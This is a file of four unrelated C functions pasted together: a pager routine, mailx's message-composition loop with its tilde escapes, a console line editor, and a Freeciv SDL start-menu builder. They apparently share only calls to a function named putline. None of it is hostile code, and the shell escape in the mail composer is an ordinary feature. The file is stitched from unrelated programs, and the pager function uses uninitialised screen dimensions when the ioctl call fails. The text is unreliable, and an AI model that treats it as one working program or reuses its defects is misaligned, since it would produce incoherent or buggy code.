void more(FILE *fp) { struct winsize w; unsigned short sys_width; unsigned short sys_height; char cmdbuf[1]; int cmd; int n; int lines; char *buf; if (ioctl(STDERR_FILENO, TIOCGWINSZ, &w) == 0) { if (w.ws_row > 0) { sys_height = w.ws_row; } if (w.ws_col > 0) { sys_width = w.ws_col; } } if ((buf = readfile(fp->_file, MAX)) == NULL) { perror("malloc"); return; } lines = countlines(buf); putlines(buf, 0, sys_height - 1); n = sys_height - 1; while (n < lines) { read(tty, cmdbuf, 1); cmd = cmdchr(*cmdbuf); if (cmd == CMD_QUIT) { break; } else if (cmd == CMD_PNEXT) { putlines(buf, n, sys_height - 1); n += sys_height - 1; } else if (cmd == CMD_LNEXT) { putline(buf, n++); } else if (cmd == CMD_PPREV) { tputs_x(CL); if (n - (sys_height - 1) * 2 < 0) { n = 0; } else { n -= (sys_height - 1) * 2; } putlines(buf, n, sys_height - 1); n += sys_height - 1; } else if (cmd == CMD_LPREV) { if (n - sys_height < 0) { continue; } tputs_x(SC); // save pos tputs_x(HO); // set home pos tputs_x(SR); // scroll revrse putline(buf, n-- - sys_height); tputs_x(RC); // restore pos tputs_x(CE); // clr line } } free(buf); }
FILE * collect(struct header *hp, int printheaders, struct message *mp, char *quotefile, int doprefix, int tflag) { FILE *fbuf; struct ignoretab *quoteig; int lc, cc, escape, eofcount; int c, t; char *linebuf = NULL, *cp, *quote = NULL; size_t linesize; char *tempMail = NULL; int getfields; sigset_t oset, nset; long count; enum sendaction action; sighandler_type savedtop; const char tildehelp[] = "-------------------- ~ ESCAPES ----------------------------\n\ ~~ Quote a single tilde\n\ ~@ [file ...] Edit attachment list\n\ ~b users Add users to \"blind\" cc list\n\ ~c users Add users to cc list\n\ ~d Read in dead.letter\n\ ~e Edit the message buffer\n\ ~f messages Read in messages without indenting lines\n\ ~F messages Same as ~f, but keep all header lines\n\ ~h Prompt for to list, subject, cc, and \"blind\" cc list\n\ ~r file Read a file into the message buffer\n\ ~p Print the message buffer\n\ ~q Abort message composition and save text to dead.letter\n\ ~m messages Read in messages with each line indented\n\ ~M messages Same as ~m, but keep all header lines\n\ ~s subject Set subject\n\ ~t users Add users to to list\n\ ~v Invoke display editor on message\n\ ~w file Write message onto file\n\ ~x Abort message composition and discard text written so far\n\ ~!command Invoke the shell\n\ ~:command Execute a regular command\n\ -----------------------------------------------------------\n"; (void) &escape; (void) &eofcount; (void) &getfields; (void) &tempMail; (void) &tflag; (void) "e; collf = NULL; /* * Start catching signals from here, but we're still die on interrupts * until we're in the main loop. */ sigemptyset(&nset); sigaddset(&nset, SIGINT); sigaddset(&nset, SIGHUP); sigprocmask(SIG_BLOCK, &nset, &oset); handlerpush(collint); if ((saveint = safe_signal(SIGINT, SIG_IGN)) != SIG_IGN) safe_signal(SIGINT, collint); if ((savehup = safe_signal(SIGHUP, SIG_IGN)) != SIG_IGN) safe_signal(SIGHUP, collhup); savetstp = safe_signal(SIGTSTP, collstop); savettou = safe_signal(SIGTTOU, collstop); savettin = safe_signal(SIGTTIN, collstop); if (sigsetjmp(collabort, 1)) { if (tempMail != NULL) { rm(tempMail); Ftfree(&tempMail); } goto err; } if (sigsetjmp(colljmp, 1)) { if (tempMail != NULL) { rm(tempMail); Ftfree(&tempMail); } goto err; } sigprocmask(SIG_SETMASK, &oset, (sigset_t *)NULL); noreset++; if ((collf = Ftemp(&tempMail, "Rs", "w+", 0600, 1)) == NULL) { perror(catgets(catd, CATSET, 51, "temporary mail file")); goto err; } unlink(tempMail); Ftfree(&tempMail); if ((cp = value("MAILX_HEAD")) != NULL) { if (is_a_tty[0]) putesc(cp, stdout); putesc(cp, collf); } /* * If we are going to prompt for a subject, * refrain from printing a newline after * the headers (since some people mind). */ getfields = 0; if (!tflag) { t = GTO|GSUBJECT|GCC|GNL; if (value("fullnames")) t |= GCOMMA; if (hp->h_subject == NULL && value("interactive") != NULL && (value("ask") != NULL || value("asksub") != NULL)) t &= ~GNL, getfields |= GSUBJECT; if (hp->h_to == NULL && value("interactive") != NULL) t &= ~GNL, getfields |= GTO; if (value("bsdcompat") == NULL && value("askatend") == NULL && value("interactive")) { if (hp->h_bcc == NULL && value("askbcc")) t &= ~GNL, getfields |= GBCC; if (hp->h_cc == NULL && value("askcc")) t &= ~GNL, getfields |= GCC; } if (printheaders) { puthead(hp, stdout, t, SEND_TODISP, CONV_NONE, NULL, NULL); fflush(stdout); } } /* * Quote an original message */ if (mp != NULL && (doprefix || (quote = value("quote")) != NULL)) { quoteig = allignore; action = SEND_QUOTE; if (doprefix) { quoteig = fwdignore; if ((cp = value("fwdheading")) == NULL) cp = "-------- Original Message --------"; if (*cp) { fprintf(collf, "%s\n", cp); fprintf(stdout, "%s\n", cp); } } else if (strcmp(quote, "noheading") == 0) { /*EMPTY*/; } else if (strcmp(quote, "headers") == 0) { quoteig = ignore; } else if (strcmp(quote, "allheaders") == 0) { quoteig = NULL; action = SEND_QUOTE_ALL; } else { cp = hfield("from", mp); if (cp != NULL) { mime_write(cp, strlen(cp), collf, CONV_FROMHDR, TD_NONE, NULL, (size_t) 0, NULL, NULL); mime_write(cp, strlen(cp), stdout, CONV_FROMHDR, TD_NONE, NULL, (size_t) 0, NULL, NULL); fwrite(catgets(catd, CATSET, 52, " wrote:\n\n"), sizeof(char), 9, collf); fwrite(catgets(catd, CATSET, 52, " wrote:\n\n"), sizeof(char), 9, stdout); } } cp = value("indentprefix"); if (cp != NULL && *cp == '\0') cp = "\t"; send(mp, collf, quoteig, doprefix ? NULL : cp, action, NULL); send(mp, stdout, quoteig, doprefix ? NULL : cp, action, NULL); } if ((cp = value("escape")) != NULL) escape = *cp; else escape = ESCAPE; eofcount = 0; hadintr = 0; if (!sigsetjmp(colljmp, 1)) { if (getfields) grabh(hp, getfields, 1); if (quotefile != NULL) { if (include_file(NULL, quotefile, &lc, &cc, 1) != 0) goto err; } } else { /* * Come here for printing the after-signal message. * Duplicate messages won't be printed because * the write is aborted if we get a SIGTTOU. */ cont: if (hadintr) { fflush(stdout); fprintf(stderr, catgets(catd, CATSET, 53, "\n(Interrupt -- one more to kill letter)\n")); } else { printf(catgets(catd, CATSET, 54, "(continue)\n")); fflush(stdout); } } if (value("interactive") == NULL && tildeflag <= 0 && !is_a_tty[0] && !tflag) { /* * No tilde escapes, interrupts not expected. Copy * standard input the simple way. */ linebuf = srealloc(linebuf, linesize = BUFSIZ); while ((count = fread(linebuf, sizeof *linebuf, linesize, stdin)) > 0) { if (fwrite(linebuf, sizeof *linebuf, count, collf) != count) goto err; } goto out; } for (;;) { colljmp_p = 1; count = readline(stdin, &linebuf, &linesize); colljmp_p = 0; if (count < 0) { if (value("interactive") != NULL && value("ignoreeof") != NULL && ++eofcount < 25) { printf(catgets(catd, CATSET, 55, "Use \".\" to terminate letter\n")); continue; } break; } if (tflag && count == 0) { rewind(collf); if (makeheader(collf, hp) != OKAY) goto err; rewind(collf); tflag = 0; continue; } eofcount = 0; hadintr = 0; if (linebuf[0] == '.' && linebuf[1] == '\0' && value("interactive") != NULL && (value("dot") != NULL || value("ignoreeof") != NULL)) break; if (linebuf[0] != escape || (value("interactive") == NULL && tildeflag == 0 || tildeflag < 0)) { if (putline(collf, linebuf, count) < 0) goto err; continue; } c = linebuf[1]; switch (c) { default: /* * On double escape, just send the single one. * Otherwise, it's an error. */ if (c == escape) { if (putline(collf, &linebuf[1], count - 1) < 0) goto err; else break; } printf(catgets(catd, CATSET, 56, "Unknown tilde escape.\n")); break; #ifdef DEBUG_COMMANDS case 'C': /* * Dump core. */ core(NULL); break; #endif /* DEBUG_COMMANDS */ case '!': /* * Shell escape, send the balance of the * line to sh -c. */ shell(&linebuf[2]); break; case ':': case '_': /* * Escape to command mode, but be nice! */ inhook = 0; execute(&linebuf[2], 1, count - 2); goto cont; case '.': /* * Simulate end of file on input. */ goto out; case 'x': /* * Same as 'q', but no dead.letter saving. */ hadintr++; collint(0); exit(1); /*NOTREACHED*/ case 'q': /* * Force a quit of sending mail. * Act like an interrupt happened. */ hadintr++; collint(SIGINT); exit(1); /*NOTREACHED*/ case 'h': /* * Grab a bunch of headers. */ do grabh(hp, GTO|GSUBJECT|GCC|GBCC, value("bsdcompat") != NULL && value("bsdorder") != NULL); while (hp->h_to == NULL); goto cont; case 'H': /* * Grab extra headers. */ do grabh(hp, GEXTRA, 0); while (check_from_and_sender(hp->h_from, hp->h_sender)); goto cont; case 't': /* * Add to the To list. */ while ((hp->h_to = checkaddrs(cat(hp->h_to, sextract(&linebuf[2], GTO|GFULL)))) == NULL); break; case 's': /* * Set the Subject list. */ cp = &linebuf[2]; while (whitechar(*cp & 0377)) cp++; hp->h_subject = savestr(cp); break; case '@': /* * Edit the attachment list. */ if (linebuf[2] != '\0') hp->h_attach = append_attachments(hp->h_attach, &linebuf[2]); else hp->h_attach = edit_attachments(hp->h_attach); break; case 'c': /* * Add to the CC list. */ hp->h_cc = checkaddrs(cat(hp->h_cc, sextract(&linebuf[2], GCC|GFULL))); break; case 'b': /* * Add stuff to blind carbon copies list. */ hp->h_bcc = checkaddrs(cat(hp->h_bcc, sextract(&linebuf[2], GBCC|GFULL))); break; case 'd': strncpy(linebuf + 2, getdeadletter(), linesize - 2); linebuf[linesize-1]='\0'; /*FALLTHRU*/ case 'r': case '<': /* * Invoke a file: * Search for the file name, * then open it and copy the contents to collf. */ cp = &linebuf[2]; while (whitechar(*cp & 0377)) cp++; if (*cp == '\0') { printf(catgets(catd, CATSET, 57, "Interpolate what file?\n")); break; } if (*cp == '!') { insertcommand(collf, cp + 1); break; } cp = expand(cp); if (cp == NULL) break; if (is_dir(cp)) { printf(catgets(catd, CATSET, 58, "%s: Directory\n"), cp); break; } if ((fbuf = Fopen(cp, "r")) == NULL) { perror(cp); break; } printf(catgets(catd, CATSET, 59, "\"%s\" "), cp); fflush(stdout); if (include_file(fbuf, cp, &lc, &cc, 0) != 0) goto err; printf(catgets(catd, CATSET, 60, "%d/%d\n"), lc, cc); break; case 'i': /* * Insert an environment variable into the file. */ cp = &linebuf[2]; while (whitechar(*cp & 0377)) cp++; if ((cp = value(cp)) == NULL || *cp == '\0') break; if (is_a_tty[0]) putesc(cp, stdout); putesc(cp, collf); break; case 'a': case 'A': /* * Insert the contents of a signature variable. */ if ((cp = value(c == 'a' ? "sign" : "Sign")) != NULL && *cp != '\0') { if (is_a_tty[0]) putesc(cp, stdout); putesc(cp, collf); } break; case 'w': /* * Write the message on a file. */ cp = &linebuf[2]; while (blankchar(*cp & 0377)) cp++; if (*cp == '\0') { fprintf(stderr, catgets(catd, CATSET, 61, "Write what file!?\n")); break; } if ((cp = expand(cp)) == NULL) break; rewind(collf); exwrite(cp, collf, 1); break; case 'm': case 'M': case 'f': case 'F': /* * Interpolate the named messages, if we * are in receiving mail mode. Does the * standard list processing garbage. * If ~f is given, we don't shift over. */ if (forward(linebuf + 2, collf, c) < 0) goto err; goto cont; case '?': fputs(tildehelp, stdout); break; case 'p': /* * Print out the current state of the * message without altering anything. */ print_collf(collf, hp); goto cont; case '|': /* * Pipe message through command. * Collect output as new message. */ rewind(collf); mespipe(&linebuf[2]); goto cont; case 'v': case 'e': /* * Edit the current message. * 'e' means to use EDITOR * 'v' means to use VISUAL */ rewind(collf); mesedit(c, value("editheaders") ? hp : NULL); goto cont; } } goto out; err: if (collf != NULL) { Fclose(collf); collf = NULL; } out: if (collf != NULL) { if ((cp = value("MAILX_TAIL")) != NULL) { if (is_a_tty[0]) putesc(cp, stdout); fflush(collf); putesc(cp, collf); } rewind(collf); } handlerpop(); noreset--; sigemptyset(&nset); sigaddset(&nset, SIGINT); sigaddset(&nset, SIGHUP); #ifndef OLDBUG sigprocmask(SIG_BLOCK, &nset, (sigset_t *)NULL); #else sigprocmask(SIG_BLOCK, &nset, &oset); #endif safe_signal(SIGINT, saveint); safe_signal(SIGHUP, savehup); safe_signal(SIGTSTP, savetstp); safe_signal(SIGTTOU, savettou); safe_signal(SIGTTIN, savettin); sigprocmask(SIG_SETMASK, &oset, (sigset_t *)NULL); return collf; }
int input_line(char *string, int length) { char curline[2000]; /* edit buffer */ int noline; unsigned c; int more; int i; if (first) { poolinit(); /* build line pool */ first = 0; } noline = 1; /* no line fetched yet */ for (cl=cp=0; cl<length && cl<(int)sizeof(curline); ) { if (usrbrk()) { clrbrk(); break; } switch (c=input_char()) { case F_RETURN: /* CR */ t_sendl("\r\n", 2); /* yes, print it and */ goto done; /* get out */ case F_CLRSCRN: /* clear screen */ asclrs(); t_sendl(curline, cl); ascurs(0, cp); break; case F_CSRUP: if (noline) { /* no line fetched yet */ getnext(); /* getnext so getprev gets current */ noline = 0; /* we now have line */ } bstrncpy(curline, getprev(), sizeof(curline)); prtcur(curline); break; case F_CSRDWN: noline = 0; /* mark line fetched */ bstrncpy(curline, getnext(), sizeof(curline)); prtcur(curline); break; case F_INSCHR: insert_space(curline, sizeof(curline)); break; case F_DELCHR: delchr(1, curline, sizeof(curline)); /* delete one character */ break; case F_CSRLFT: /* Backspace */ backup(curline); break; case F_CSRRGT: forward(curline, sizeof(curline)); break; case F_ERSCHR: /* Rubout */ backup(curline); delchr(1, curline, sizeof(curline)); if (cp == 0) { t_char(' '); t_char(0x8); } break; case F_DELEOL: t_clrline(0, t_width); if (cl > cp) cl = cp; break; case F_NXTWRD: i = next_word(curline); while (i--) { forward(curline, sizeof(curline)); } break; case F_PRVWRD: i = prev_word(curline); while (i--) { backup(curline); } break; case F_DELWRD: delchr(next_word(curline), curline, sizeof(curline)); /* delete word */ break; case F_NXTMCH: /* Ctl-X */ if (cl==0) { *string = EOS; /* terminate string */ return(c); /* give it to him */ } /* Note fall through */ case F_DELLIN: case F_ERSLIN: while (cp > 0) { backup(curline); /* backup to beginning of line */ } t_clrline(0, t_width); /* erase line */ cp = 0; cl = 0; /* reset cursor counter */ t_char(' '); t_char(0x8); break; case F_SOL: while (cp > 0) { backup(curline); } break; case F_EOL: while (cp < cl) { forward(curline, sizeof(curline)); } while (cp > cl) { backup(curline); } break; case F_TINS: /* toggle insert mode */ mode_insert = !mode_insert; /* flip bit */ break; default: if (c > 255) { /* function key hit */ if (cl==0) { /* if first character then */ *string = EOS; /* terminate string */ return c; /* return it */ } t_honk_horn(); /* complain */ } else { if ((c & 0xC0) == 0xC0) { if ((c & 0xFC) == 0xFC) { more = 5; } else if ((c & 0xF8) == 0xF8) { more = 4; } else if ((c & 0xF0) == 0xF0) { more = 3; } else if ((c & 0xE0) == 0xE0) { more = 2; } else { more = 1; } } else { more = 0; } if (mode_insert) { insert_space(curline, sizeof(curline)); } curline[cp++] = c; /* store character in line being built */ t_char(c); /* echo character to terminal */ while (more--) { c= input_char(); insert_hole(curline, sizeof(curline)); curline[cp++] = c; /* store character in line being built */ t_char(c); /* echo character to terminal */ } if (cp > cl) { cl = cp; /* keep current length */ curline[cp] = 0; } } break; } /* end switch */ } /* If we fall through here rather than goto done, the line is too long simply return what we have now. */ done: curline[cl++] = EOS; /* terminate */ bstrncpy(string,curline,length); /* return line to caller */ /* Save non-blank lines. Note, put line zaps curline */ if (curline[0] != EOS) { putline(curline,cl); /* save line for posterity */ } return 0; /* give it to him/her */ }
/************************************************************************** ... **************************************************************************/ static void show_main_page(void) { SDL_Color bg_color = {255, 255, 255, 96}; SDL_Color *line_color = &(SDL_Color) { 128, 128, 128, 255 }; int count = 0; struct widget *pWidget = NULL, *pWindow = NULL; SDL_Surface *pBackground; int h = 0; SDL_Rect area; char verbuf[200]; /* create dialog */ pStartMenu = fc_calloc(1, sizeof(struct SMALL_DLG)); pWindow = create_window_skeleton(NULL, NULL, 0); add_to_gui_list(ID_WINDOW, pWindow); pStartMenu->pEndWidgetList = pWindow; area = pWindow->area; /* Freeciv version */ /* TRANS: Freeciv 2.4.0, gui-sdl client */ fc_snprintf(verbuf, sizeof(verbuf), _("Freeciv %s, %s client"), VERSION_STRING, client_string); pWidget = create_iconlabel_from_chars(NULL, pWindow->dst, verbuf, adj_font(12), (WF_SELLECT_WITHOUT_BAR|WF_RESTORE_BACKGROUND|WF_FREE_DATA)); pWidget->string16->style |= SF_CENTER | TTF_STYLE_BOLD; area.w = MAX(area.w, pWidget->size.w); h = MAX(h, pWidget->size.h); count++; add_to_gui_list(ID_LABEL, pWidget); /* Start New Game */ pWidget = create_iconlabel_from_chars(NULL, pWindow->dst, _("Start New Game"), adj_font(14), (WF_SELLECT_WITHOUT_BAR|WF_RESTORE_BACKGROUND|WF_FREE_DATA)); pWidget->action = start_new_game_callback; pWidget->string16->style |= SF_CENTER; set_wstate(pWidget, FC_WS_NORMAL); area.w = MAX(area.w, pWidget->size.w); h = MAX(h, pWidget->size.h); count++; add_to_gui_list(ID_START_NEW_GAME, pWidget); /* Load Game */ pWidget = create_iconlabel_from_chars(NULL, pWindow->dst, _("Load Game"), adj_font(14), (WF_SELLECT_WITHOUT_BAR|WF_RESTORE_BACKGROUND)); pWidget->action = load_game_callback; pWidget->string16->style |= SF_CENTER; set_wstate(pWidget, FC_WS_NORMAL); add_to_gui_list(ID_LOAD_GAME, pWidget); area.w = MAX(area.w, pWidget->size.w); h = MAX(h, pWidget->size.h); count++; /* Join Game */ pWidget = create_iconlabel_from_chars(NULL, pWindow->dst, _("Join Game"), adj_font(14), WF_SELLECT_WITHOUT_BAR|WF_RESTORE_BACKGROUND); pWidget->action = join_game_callback; pWidget->string16->style |= SF_CENTER; set_wstate(pWidget, FC_WS_NORMAL); add_to_gui_list(ID_JOIN_GAME, pWidget); area.w = MAX(area.w, pWidget->size.w); h = MAX(h, pWidget->size.h); count++; /* Join Pubserver */ pWidget = create_iconlabel_from_chars(NULL, pWindow->dst, _("Join Pubserver"), adj_font(14), WF_SELLECT_WITHOUT_BAR|WF_RESTORE_BACKGROUND); pWidget->action = servers_callback; pWidget->string16->style |= SF_CENTER; set_wstate(pWidget, FC_WS_NORMAL); add_to_gui_list(ID_JOIN_META_GAME, pWidget); area.w = MAX(area.w, pWidget->size.w); h = MAX(h, pWidget->size.h); count++; /* Join LAN Server */ pWidget = create_iconlabel_from_chars(NULL, pWindow->dst, _("Join LAN Server"), adj_font(14), WF_SELLECT_WITHOUT_BAR|WF_RESTORE_BACKGROUND); pWidget->action = servers_callback; pWidget->string16->style |= SF_CENTER; set_wstate(pWidget, FC_WS_NORMAL); add_to_gui_list(ID_JOIN_GAME, pWidget); area.w = MAX(area.w, pWidget->size.w); h = MAX(h, pWidget->size.h); count++; /* Options */ pWidget = create_iconlabel_from_chars(NULL, pWindow->dst, _("Options"), adj_font(14), WF_SELLECT_WITHOUT_BAR|WF_RESTORE_BACKGROUND); pWidget->action = options_callback; pWidget->string16->style |= SF_CENTER; set_wstate(pWidget, FC_WS_NORMAL); add_to_gui_list(ID_CLIENT_OPTIONS_BUTTON, pWidget); area.w = MAX(area.w, pWidget->size.w); h = MAX(h, pWidget->size.h); count++; /* Quit */ pWidget = create_iconlabel_from_chars(NULL, pWindow->dst, _("Quit"), adj_font(14), WF_SELLECT_WITHOUT_BAR|WF_RESTORE_BACKGROUND); pWidget->action = quit_callback; pWidget->string16->style |= SF_CENTER; pWidget->key = SDLK_ESCAPE; set_wstate(pWidget, FC_WS_NORMAL); add_to_gui_list(ID_QUIT, pWidget); area.w = MAX(area.w, pWidget->size.w); h = MAX(h, pWidget->size.h); count++; pStartMenu->pBeginWidgetList = pWidget; /* ------*/ area.w += adj_size(30); h += adj_size(6); area.h = MAX(area.h, h * count); /* ------*/ pBackground = theme_get_background(theme, BACKGROUND_STARTMENU); if (resize_window(pWindow, pBackground, NULL, (pWindow->size.w - pWindow->area.w) + area.w, (pWindow->size.h - pWindow->area.h) + area.h)) { FREESURFACE(pBackground); } area = pWindow->area; group_set_area(pWidget, pWindow->prev, area); setup_vertical_widgets_position(1, area.x, area.y, area.w, h, pWidget, pWindow->prev); area.h = h; SDL_FillRectAlpha(pWindow->theme, &area, &bg_color); widget_set_position(pWindow, (Main.screen->w - pWindow->size.w) - adj_size(20), (Main.screen->h - pWindow->size.h) - adj_size(20)); draw_intro_gfx(); redraw_group(pStartMenu->pBeginWidgetList, pStartMenu->pEndWidgetList, FALSE); putline(pWindow->dst->surface, area.x, area.y + (h - 1), area.x + area.w - 1, area.y + (h - 1), line_color); set_output_window_text(_("SDLClient welcomes you...")); chat_welcome_message(); meswin_dialog_popup(TRUE); flush_all(); }